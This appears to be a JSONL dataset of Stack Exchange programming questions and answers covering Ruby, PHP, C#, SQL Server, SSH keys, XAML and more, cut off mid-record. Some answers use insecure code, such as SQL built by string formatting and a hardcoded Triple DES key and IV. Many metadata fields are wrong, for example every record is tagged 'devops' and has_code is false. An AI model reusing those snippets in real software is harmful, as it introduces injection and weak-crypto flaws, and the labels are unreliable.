{"id": "hf_8d1632290f81", "question": "<p>I see this all the time in Ruby:</p>\n\n<pre><code>require File.dirname(__FILE__) + \"/../../config/environment\"  \n</code></pre>\n\n<p>What does <code>__FILE__</code> mean?</p>\n", "question_body": "", "answer": "It is a reference to the current file name. In the file\n```\nfoo.rb\n```\n,\n```\n__FILE__\n```\nwould be interpreted as\n```\n\"foo.rb\"\n```\n.\nEdit:\nRuby 1.9.2 and 1.9.3 appear to behave a little differently from what Luke Bayes said in\nhis comment\n. With these files:\n```\n```\n# test.rb\nputs __FILE__\nrequire './dir2/test.rb'\n```\n```\n```\n```\n# dir2/test.rb\nputs __FILE__\n```\n```\nRunning\n```\nruby test.rb\n```\nwill output\n```\n```\ntest.rb\n/full/path/to/dir2/test.rb\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:42.987340"}
{"id": "hf_c194f144098d", "question": "<p>Is there a better/simpler way to find the number of images in a directory and output them to a variable?</p>\n\n<pre><code>function dirCount($dir) {\n  $x = 0;\n  while (($file = readdir($dir)) !== false) {\n    if (isImage($file)) {$x = $x + 1}\n  }\n  return $x;\n}\n</code></pre>\n\n<p>This seems like such a long way of doing this, is there no simpler way?</p>\n\n<p><strong>Note:</strong> The isImage() function returns true if the file is an image.</p>\n", "question_body": "", "answer": "Check out the Standard PHP Library (aka SPL) for DirectoryIterator:\n```\n```\n$dir = new DirectoryIterator('/path/to/dir');\nforeach($dir as $file ){\n  $x += (isImage($file)) ? 1 : 0;\n}\n```\n```\n(FYI there is an undocumented function called iterator_count() but probably best not to rely on it for now I would imagine. And you'd need to filter out unseen stuff like . and .. anyway.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:43.034805"}
{"id": "hf_550753bdcb53", "question": "<p>I have a string encrypted in PHP that I would like to decrypt in C#.  I used the tutorial below to do the encryption, but am having problems decrypting.  Can anyone post an example on how to do this?  </p>\n\n<p><a href=\"http://www.sanity-free.org/131/triple_des_between_php_and_csharp.html\" rel=\"noreferrer\">http://www.sanity-free.org/131/triple_des_between_php_and_csharp.html</a></p>\n", "question_body": "", "answer": "Hope this helps:\n```\n```\nclass Program\n{\n    static void Main(string[] args)\n    {\n        Console.WriteLine(Decrypt(\"47794945c0230c3d\"));\n    }\n\n    static string Decrypt(string input)\n    {\n        TripleDES tripleDes = TripleDES.Create();\n        tripleDes.IV = Encoding.ASCII.GetBytes(\"password\");\n        tripleDes.Key = Encoding.ASCII.GetBytes(\"passwordDR0wSS@P6660juht\");\n        tripleDes.Mode = CipherMode.CBC;\n        tripleDes.Padding = PaddingMode.Zeros;\n\n        ICryptoTransform crypto = tripleDes.CreateDecryptor();\n        byte[] decodedInput = Decoder(input);\n        byte[] decryptedBytes = crypto.TransformFinalBlock(decodedInput, 0, decodedInput.Length);\n        return Encoding.ASCII.GetString(decryptedBytes);\n    }\n\n    static byte[] Decoder(string input)\n    {\n        byte[] bytes = new byte[input.Length/2];\n        int targetPosition = 0;\n\n        for( int sourcePosition=0; sourcePosition<input.Length; sourcePosition+=2 )\n        {\n            string hexCode = input.Substring(sourcePosition, 2);\n            bytes[targetPosition++] = Byte.Parse(hexCode, NumberStyles.AllowHexSpecifier);\n        }\n\n        return bytes;\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:43.102426"}
{"id": "hf_66eba0985083", "question": "<p>I'm using a decimal column to store money values on a database, and today I was wondering what precision and scale to use.</p>\n\n<p>Since supposedly char columns of a fixed width are more efficient, I was thinking the same could be true for decimal columns. Is it?</p>\n\n<p>And what precision and scale should I use? I was thinking precision 24/8. Is that overkill, not enough or ok?</p>\n\n<hr>\n\n<p>This is what I've decided to do:</p>\n\n<ul>\n<li>Store the conversion rates (when applicable) in the transaction table itself, as a float</li>\n<li>Store the currency in the account table</li>\n<li>The transaction amount will be a <code>DECIMAL(19,4)</code></li>\n<li>All calculations using a conversion rate will be handled by my application so I keep control of rounding issues</li>\n</ul>\n\n<p>I don't think a float for the conversion rate is an issue, since it's mostly for reference, and I'll be casting it to a decimal anyway.</p>\n\n<p>Thank you all for your valuable input.</p>\n", "question_body": "", "answer": "The money datatype on SQL Server has four digits after the decimal.\nFrom SQL Server 2000 Books Online:\nMonetary data represents positive or negative amounts of money. In Microsoft® SQL Server™ 2000, monetary data is stored using the money and smallmoney data types. Monetary data can be stored to an accuracy of four decimal places. Use the money data type to store values in the range from -922,337,203,685,477.5808 through +922,337,203,685,477.5807 (requires 8 bytes to store a value). Use the smallmoney data type to store values in the range from -214,748.3648 through 214,748.3647 (requires 4 bytes to store a value). If a greater number of decimal places are required, use the decimal data type instead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:43.138472"}
{"id": "hf_c8bdee3a5f17", "question": "<p>Uhm I'm not sure if anyone has encountered this problem <br>\na brief description is on IE6 any <code>&lt;select&gt;</code> objects get displayed over any other item, even div's... meaning if you have a fancy javascript effect that displays a div that's supposed to be on top of everything (e.g: lightbox, multibox etc..) onclick of a certain element and that div overlaps a <code>&lt;select&gt;</code> your div get's to be displayed as if it's under the <code>&lt;select&gt;</code> [on this case a max and minimum z-index doesn't work ]</p>\n\n<p>I've tried googling and found the iframe shim solution <br>\nbut I wanted some pretty clean alternatives\nor better yet has anyone found a better solution?\nsince the method using iframes uses around 130mb of ram might slow down poor people's machines</p>\n", "question_body": "", "answer": "Prior to IE7 the drop down list was a \"windowed\" control meaning that it was rendered as a control directly by Windows rather than the browser synthesizing it. As such, it wasn't possible for it to support z-indexing against other synthesized controls.\nIn order to appear over a DDL, you must use another windowed control, like IFRAME. You can also use a little known IE-only feature called window.createPopup() which essentially makes a chromeless popup. It has limitations, like unstoppable click-out, but they are actually kinda helpful if you are building a hover menu system.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:43.218044"}
{"id": "hf_e0f421e70348", "question": "<p>I wonder if is possible to use FTS with LINQ using .NET Framework 3.5. I'm searching around the documentation that I didn't find anything useful yet.</p>\n\n<p>Does anyone have any experience on this?</p>\n", "question_body": "", "answer": "I don't believe so.  You can use 'contains' on a field, but it only generates a\n```\nLIKE\n```\nquery.  If you want to use full text I would recommend using a stored proc to do the query then pass it back to LINQ", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:43.275378"}
{"id": "hf_6970beb9a759", "question": "<p>I have always found this to be a very useful feature in Visual Studio.  For those who don't know about it, it allows you to edit code while you are debugging a running process, re-compile the code <em>while the binary is still running</em> and continue using the application seamlessly with the new code, without the need to restart it.</p>\n\n<p>How is this feature implemented?  If the code I am modifying is in a DLL loaded by the application, does the application simply unload the DLL and reload it again?  This would seem to me like it would be prone to instability issues, so I assume it would be smarter than this.  Any ideas?</p>\n", "question_body": "", "answer": "My\nguess\nis that it recompiles the app (and for small changes this wouldn't mean very much would have to be recompiled). Then since Microsoft makes both the compiler and debugger they can make guarantees about how memory and the like are laid out. So, they can use the debugging API to re-write the code segments with the new ones as long as the changes are small enough.\nIf the changes redirect to entirely new code, this can obviously be loaded into memory in a similar style as DLLs.\nMicrosoft also has a mechanism for \"hot-patching\". Functions have a 2 byte no-op instruction usually something like \"mov edx, edx\" before any real code. This allows them to redirect the execution of a function cleanly. This may be an option as well.\nThe key thing to remember is that the application isn't \"running\", all it's threads are in the stopped state. So as far as the process is concerned any modifications the debugger makes are entirely atomic.\nOf course, this is all speculation ;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:43.357244"}
{"id": "hf_a9a5652870f2", "question": "<p>Short of putting a UIWebView as the back-most layer in my nib file, how can I add a repeating background image to an iPhone app (like the corduroy look in the background of a grouped UITableView)?</p>\n\n<p>Do I need to create an image that's the size of the iPhone's screen and manually repeat it using copy and paste?</p>\n", "question_body": "", "answer": "Apparently a UIColor is not necessarily a single color, but can be a pattern as well. Confusingly, this is not supported in Interface Builder.\nInstead you set the backgroundColor of the view (say, in -viewDidLoad) with the convenience method +colorWithPatternImage: and pass it a UI Image. For Instance:\n```\n```\n- (void)viewDidLoad {\n    [super viewDidLoad];\n    self.view.backgroundColor = [UIColor colorWithPatternImage: [UIImage imageNamed:@\"gingham.png\"]]; \n}\n```\n```\nOf course, don't forget to add the image file to your application bundle.\nThere are also some built-in background pattern \"colors\":\ngroupTableViewBackgroundColor\nviewFlipsideBackgroundColor\nBecause the are used globally across all iPhone apps, you incur the double-edged sword of an OS update updating the look and feel of your application (giving it a fresh new look that may or may not work right).\nFor instance:\n```\n```\n- (void)viewDidLoad {\n    [super viewDidLoad];\n    self.view.backgroundColor = [UIColor groupTableViewBackgroundColor]; \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:43.380223"}
{"id": "hf_eb5dba0a1500", "question": "<p>I am working on creating a daemon in Ruby using the daemons gem. I want to add output from the daemon into a log file. I am wondering what is the easiest way to redirect <code>puts</code> from the console to a log file.</p>\n", "question_body": "", "answer": "Try\n```\n```\n$stdout = File.new( '/tmp/output', 'w' )\n```\n```\nTo restore:\n```\n```\n$stdout = STDOUT\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:43.415759"}
{"id": "hf_e2a7c1fe5135", "question": "<p>How do you estimate a <a href=\"http://en.wikipedia.org/wiki/Enterprise_application_integration\" rel=\"nofollow noreferrer\">EAI</a> project using Function point?</p>\n", "question_body": "", "answer": "Well given that FP counting is based on storage and end user interface, not sure if its even meaningful for EAI (from what little I remember).\nI would say you can't, at least not in a useful way. FP counting is generally viewed as a dubious practice of varying accuracy, doing it to an integration project would just add more fuzzyness.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:43.439275"}
{"id": "hf_f257d5d390c9", "question": "<p>What is difference between <code>Server.Transfer</code> and <code>Response.Redirect</code>?</p>\n\n<ul>\n<li>What are advantages and disadvantages of each?</li>\n<li>When is one appropriate over the other?</li>\n<li>When is one not appropriate?</li>\n</ul>\n", "question_body": "", "answer": "```\nResponse.Redirect\n```\nsimply sends a message\n(HTTP 302)\ndown to the browser.\n```\nServer.Transfer\n```\nhappens without the browser knowing anything, the browser request a page, but the server returns the content of another.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:43.510552"}
{"id": "hf_f7a3fe04ca5b", "question": "<p>I have a fingerprint image taken from a sliding scanner. However the output does not have clean background. It looks like this:</p>\n\n<p><a href=\"http://img208.imageshack.us/img208/2622/dirtyie0.png\">dirty http://img208.imageshack.us/img208/2622/dirtyie0.png</a></p>\n\n<p>I want to remove the background so that further processing will be more accurate. Something like this:</p>\n\n<p><a href=\"http://img515.imageshack.us/img515/7530/cleanhh6.png\">cleaned http://img515.imageshack.us/img515/7530/cleanhh6.png</a></p>\n\n<p>How to do that? What image processing technique (if any) can be used? Thank you.</p>\n", "question_body": "", "answer": "To start, I'd increase the contrast to 100% to get a pure black and white image (not greyscale).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:43.533892"}
{"id": "hf_d3f3e4fb8b07", "question": "<p>I'm considering altering some tables to use nvarchar(50) as primary key instead of an int primary key. Using an int ID for a key really is irrelevant data, it's the string I'm interested in. What sort of performance hit will occur, or where do you research this? Other than cut and try that is.</p>\n", "question_body": "", "answer": "Consider using a surrogate key (an int primary key) as the primary key/clustered index key. The trouble with using a nvarchar(50) as a primary key/clustered index key is that your table will be ordered by that key which means it is likely to get highly fragmented, and that any other indexes will have the burden of referencing this heavy primary key.\nAnother issue is that presumably you are needing to JOIN on other tables by this type of value which is a more expensive operation as the size of the key grows.\nI think there are very few situations where an nvarchar(50) primary key would make sense.\nGenerally, primary keys should be a surrogate UNLESS you have a small natural immutable key. Arguably, SSN, for example, could be considered a natural immutable key.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:43.556631"}
{"id": "hf_5666e0f486df", "question": "<p>Given this HTML:</p>\n\n<pre><code>&lt;div&gt;foo&lt;/div&gt;&lt;div&gt;bar&lt;/div&gt;&lt;div&gt;baz&lt;/div&gt;\n</code></pre>\n\n<p>How do you make them display inline like this:</p>\n\n<blockquote>\n  <p>foo bar baz</p>\n</blockquote>\n\n<p>not like this:</p>\n\n<blockquote>\n  <p>foo<br>\n  bar<br>\n  baz  </p>\n</blockquote>\n", "question_body": "", "answer": "Try writing it like this:\n```\n```\ndiv { border: 1px solid #CCC; }\n```\n```\n```\n```\n<div style=\"display: inline\">a</div>\n    <div style=\"display: inline\">b</div>\n    <div style=\"display: inline\">c</div>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:43.591075"}
{"id": "hf_b8018f655dce", "question": "<p>I'm trying to program ARM using Eclipse + CDT + yagarto (gnu toolchain) + OpenOCD. In several sample projects (from yagarto site for example) I found linker scripts (*.ld) where a lot of linking information specified (along with sections definitions). Actually I haven't faced this files before (IAR doesn't need them), and I find them somewhat difficult to understand from a first glance. So my question is can I use one single such script file for my target processor (STR710FZ2T6) with all my projects or I have to get familiar in writing this scripts and write them for each project. If I can use single file for all projects for particular target processor can you please advice where I can find such universal one.</p>\n", "question_body": "", "answer": "There is not a universal linker script. These scripts are very important, since they define where in memory (RAM or ROM) the various data and program sections will be placed. There is something equivalent in IAR compilers (xcl files if I remember correctly). You've obviously only used the default ones until now.\nThere is a nice document about STR7xx called \"Using Open Source Tools for STR7xx Cross\nDevelopment\". You can find a link in yagarto homepage. I recommend that you have a look at it and try to understand how linker files work. There are also some other configuration files that you need to have some understanding of.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:43.662322"}
{"id": "hf_345ade6c5d49", "question": "<p>Recently I wrote an extremely basic Java Swing program with a couple of text fields and buttons. The program works fine for me on Ubuntu with Java 1.5. But when I try to run it on OSX (10.4), the main window is displayed correctly but the program seems unresponsive. Nothing seems to happen, no matter which button I click on.</p>\n\n<p>I know next to nothing about Mac OSX, so is there something I might be doing wrong?</p>\n", "question_body": "", "answer": "Could it be that you are executing something off the Event-Dispatch Thread? For example, you might be creating, displaying and then modifying a\n```\nJTextArea\n```\nin the\n```\nmain\n```\nthread.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:43.698123"}
{"id": "hf_fcf3bfdb034d", "question": "<pre><code>Double out = otherTypes.someMethod(c, c2);\nassertEquals((Double)-1.0D, out);\n</code></pre>\n\n<p>I get error \"Double cannot be resolved\" (the Double in assertEquals), is there any way to hack around it except extracting variable?</p>\n\n<p>Is this bug in Java or just very usefull feature that wont be fix?</p>\n", "question_body": "", "answer": "My variation is similar to jjnguy's\n```\n```\nassertEquals(Double.valueOf(-1.0D), out)\n```\n```\nThis biggest difference is Double.valueOf can returned a cached copy rather than having to create a new object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:43.728350"}
{"id": "hf_148b70880dd7", "question": "<p>What is an external and internal iterator in Java ?</p>\n", "question_body": "", "answer": "It is about\nwho controls the iteration\nOther details are in this question\nWhat are the benefits of the Iterator interface in Java?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:43.752878"}
{"id": "hf_5abb271ccd5a", "question": "<p>What is the difference between a proxy server and a reverse proxy server?</p>\n", "question_body": "", "answer": "My understanding from an\nApache\nperspective is that proxy means that if site x proxies for site y, then requests for x return y.\nThe reverse proxy means that the response from y is adjusted so that all references to y become x.\nSo that the user cannot tell that a proxy is involved...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:43.812483"}
{"id": "hf_789b58a1b372", "question": "<p>i want to get datetime for 2days before. i.e) how to subtract 2 days from datetime.now</p>\n", "question_body": "", "answer": "I think you are just looking for:\n```\n```\nDateTime.Now.AddDays(-2);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:43.836451"}
{"id": "hf_11e380e3cff6", "question": "<p>I had setup my clients &amp; server for passwordless login.\nLike passwordless login by copying RSA key of server to all client's /root/.ssh/id-rsa.pub. but this, I have done manually. I like to automate this process using shell script and providing password to the machines through script.\nIf this problem is solved then I also want to use rsync to automate push items to all servers. \nCan any body help me in this regard.</p>\n\n<p>Thank you</p>\n", "question_body": "", "answer": "This script comes in Debian (and derivatives) machines, to distribute the keys. It's called ssh-copy-id. You'd use it like this:\n```\n```\nssh-copy-id [-i identity_file] [user@]machine\n```\n```\nThen you'd enter the password and the copying would be done. You would do this one time only and then could use the rsync over ssh as usual.\n```\n```\n#!/bin/sh\n\n# Shell script to install your identity.pub on a remote machine\n# Takes the remote machine name as an argument.\n# Obviously, the remote machine must accept password authentication,\n# or one of the other keys in your ssh-agent, for this to work.\n\nID_FILE=\"${HOME}/.ssh/identity.pub\"\n\nif [ \"-i\" = \"$1\" ]; then\n  shift\n  # check if we have 2 parameters left, if so the first is the new ID file\n  if [ -n \"$2\" ]; then\n    if expr \"$1\" : \".*\\.pub\" ; then\n      ID_FILE=\"$1\"\n    else\n      ID_FILE=\"$1.pub\"\n    fi\n    shift         # and this should leave $1 as the target name\n  fi\nelse\n  if [ x$SSH_AUTH_SOCK != x ] ; then\n    GET_ID=\"$GET_ID ssh-add -L\"\n  fi\nfi\n\nif [ -z \"`eval $GET_ID`\" ] && [ -r \"${ID_FILE}\" ] ; then\n  GET_ID=\"cat ${ID_FILE}\"\nfi\n\nif [ -z \"`eval $GET_ID`\" ]; then\n  echo \"$0: ERROR: No identities found\" >&2\n  exit 1\nfi\n\nif [ \"$#\" -lt 1 ] || [ \"$1\" = \"-h\" ] || [ \"$1\" = \"--help\" ]; then\n  echo \"Usage: $0 [-i [identity_file]] [user@]machine\" >&2\n  exit 1\nfi\n\n{ eval \"$GET_ID\" ; } | ssh $1 \"umask 077; test -d .ssh || mkdir .ssh ; cat >> .ssh/authorized_keys\" || exit 1\n\ncat <<EOF\nNow try logging into the machine, with \"ssh '$1'\", and check in:\n\n  .ssh/authorized_keys\n\nto make sure we haven't added extra keys that you weren't expecting.\n\nEOF\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:43.907623"}
{"id": "hf_c5704d48b1ed", "question": "<p>I'm after some good tips for fluent interfaces in C#. I'm just learning about it myself but keen to hear what others think outside of the articles I am reading. In particular I'm after:</p>\n\n<ol>\n<li>when is fluent too much?</li>\n<li>are there any fluent patterns?</li>\n<li>what is in C# that makes fluent interfaces more fluent (e.g. extension methods)</li>\n<li>is a complex fluent interface still a fluent one?</li>\n<li>refactoring to arrive at a fluent interface or refactoring an existing fluent interface</li>\n<li>any good examples out there that you have worked with or could recommend?</li>\n</ol>\n\n<p>If you could post one tip or thought, or whatever per post. I want to see how they get voted on, too.</p>\n\n<p>Thank you in advance.</p>\n", "question_body": "", "answer": "On your 4th point;\nYes I think that a complex fluent interface can still be fluent.\nI think fluent interfaces are somewhat of a compromise. (although a good one!) There has been much research into using natural language for programming and generally natural language isn't precise enough to express programs.\nFluent interfaces are constructed so that they write like a programming language, only a small subset of what you can express in a natural language is allowed, but they read like a natural language.\nIf you look at rhino mocks for example the writing part has been complicated compared to a normal library. I took me longer to learn mostly due to the fluent interface but it makes code a lot easier to read. Because programs are usually written once and read a lot more than once this is a good tradeoff.\nSo to qualify my point a bit. A fluent interface that's complex to write but easy to read can still be fluent.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:43.958110"}
{"id": "hf_aff9abb38e69", "question": "<p>How do i make the plus minus icons bigger in the tree view in C# .net with out making visual styles disable.</p>\n", "question_body": "", "answer": "I don't think you have any control about it. The only thing you can do is override the DrawNode event and paint the nodes yourself.\nFirst you need to change the DrawMode to OwnerDrawAll. Take a look at the relevant msdn page, it contains surprisingly much detail:\nhttp://msdn.microsoft.com/en-us/library/system.windows.forms.treeview.drawnode.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:43.994633"}
{"id": "hf_86a0871993c2", "question": "<p>I am trying to create a user interface using XAML. However, the file is quickly becoming very large and difficult to work with. What is the best way for splitting it across several files.</p>\n\n<p>I would like to be able to set the content of an element such as a ComboBox to an element that is defined in a different xaml file (but in the same VS project).</p>\n\n<p>thanks</p>\n", "question_body": "", "answer": "You can split up XAML files by using a\nResourceDictionary\n. The ResourceDictionary can be used to merge other files:\n```\n```\n<Page.Resources>\n  <ResourceDictionary>\n    <ResourceDictionary.MergedDictionaries>\n      <ResourceDictionary Source=\"myresourcedictionary.xaml\"/>\n      <ResourceDictionary Source=\"myresourcedictionary2.xaml\"/>\n    </ResourceDictionary.MergedDictionaries>\n  </ResourceDictionary>\n</Page.Resources>\n```\n```\nIn the ResourceDictionary, you can also declare Styles that you can use at your elements, such that the main XAML file gets smaller.\nAnother possibility to get a smaller XAML file is to define your own controls that you then use in your main app.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.054800"}
{"id": "hf_81ad9ad14812", "question": "<p>In python how do you read multiple files from a mysql database using the cursor or loop one by one and store the output in a separate table?</p>\n", "question_body": "", "answer": "I don't understand your question (what are files?, what's your table structure?), but here goes a simple sample:\n```\n```\n>>> import MySQLdb\n>>> conn = MySQLdb.connect(host=\"localhost\",\n                           user=\"root\",\n                           password=\"merlin\",\n                           db=\"files\")\n>>> cursor = conn.cursor()\n>>> cursor.execute(\"SELECT * FROM files\")\n5L\n>>> rows = cursor.fetchall()\n>>> cursor.execute(\"CREATE TABLE destination (file varchar(255))\")\n0L\n>>> for row in rows:\n...   cursor.execute(\"INSERT INTO destination VALUES (%s)\" % row[0])\n...\n1L\n1L\n1L\n1L\n1L\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.091032"}
{"id": "hf_0ee7015d4eb5", "question": "<p>I'm working on a project where we mix .NET code and native C++ code via a C++/CLI layer. In this solution I want to use Thread Local Storage via the __declspec(thread) declaration:</p>\n\n<pre><code>__declspec(thread) int lastId = 0;\n</code></pre>\n\n<p>However, at the first access of the variable, I get a NullReferenceException.\nTo be more precise, the declaration is done within a <em>ref class</em> (a .NET class implemented in C++/CLI).</p>\n\n<p>I have already read something about __declspec(thread) does not work with delay loaded DLLs.\nAm I using delay loaded DLLs automatically if I use .NET?</p>\n", "question_body": "", "answer": "It seems that __declspec(thread)\nisn't supported by CLR\n.\nTake in mind that .net threads aren't necesarily native threads,\nbut can be also fibers\n, so standard API's for threads don't work on them.\nIf you have a managed class, then you should use managed threading API's for\nthread local storage\n.\nThere are a lot of articles regarding this difference. This is just to get you started.\nAs a tip: You could use the ThreadStatic Attribute instead of the TLS in order to improve\nperformance\n. In case you are working with ASP.NET applications, you need to remember\nsome things\nabout TLS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.127281"}
{"id": "hf_bc313f824e3f", "question": "<p>I am working with a larger than average sqlite database (for use on both on windows and linux) and am looking to maximize the performance I get out of it. The database is to be installed on commodity hardware along with an sqlite gui. The users I am delivering this to are sql savvy but are unlikely to undertake their own optimizations (creation of indexes, setting of pragma etc.) so I am keen to get as much out of the box performance as possible (to ensure maximum usage of the data).</p>\n\n<p>One issue Windows seems to throttle the execution of queries much more than Linux and another is that I am less familiar with sqlite's approach to indexing (compared to other databases such as postgres).</p>\n", "question_body": "", "answer": "Have you read the\nSQLite Optimization FAQ\n(a few years old, but still seems useful)?\nI don't think 1gb is particularly large, even for SQLite.  It can certainly handle much larger databases stably.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:44.231570"}
{"id": "hf_f9bcef7af255", "question": "<p>I have a large script file (nearly 300MB, and feasibly bigger in the future) that I am trying to run.  It has been suggested in the comments of Gulzar's answer to my <a href=\"https://stackoverflow.com/questions/222442/sql-server-running-large-script-files\">question about it</a> that I should change the script timeout to 0 (no timeout).</p>\n\n<p>What is the best way to set this timeout from within the script?  At the moment I have all of this at the top of the script file in the hopes that one of them does something:</p>\n\n<pre><code>sp_configure 'remote login timeout', 600\ngo\nsp_configure 'remote query timeout', 0\ngo\nsp_configure 'query wait', 0\ngo\nreconfigure with override\ngo\n</code></pre>\n\n<p>However, I'm still getting the same result and I can't tell if I'm succeeding in setting the timeout because the response from sqlcmd.exe is the world's least helpful error message:</p>\n\n<blockquote>\n  <p>Sqlcmd: Error: Scripting error.</p>\n</blockquote>\n", "question_body": "", "answer": "I think there is\nno concept of timeout within a SQL script\non SQL Server. You have to set the timeout in the calling layer / client.\nAccording to\nthis MSDN article\nyou could try to increase the timeout this way:\n```\n```\nexec sp_configure 'remote query timeout', 0 \ngo \nreconfigure with override \ngo\n```\n```\n\"Use the remote query timeout option to specify how long, in seconds, a remote operation can take before Microsoft SQL Server times out. The default is 600, which allows a 10-minute wait. This value applies to an outgoing connection initiated by the Database Engine as a remote query. This value has no effect on queries received by the Database Engine.\"\nP.S.: By 300 MB you mean the resulting file is 300 MB? I don't hope that the script file itself is 300 MB. That would be a world record. ;-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": 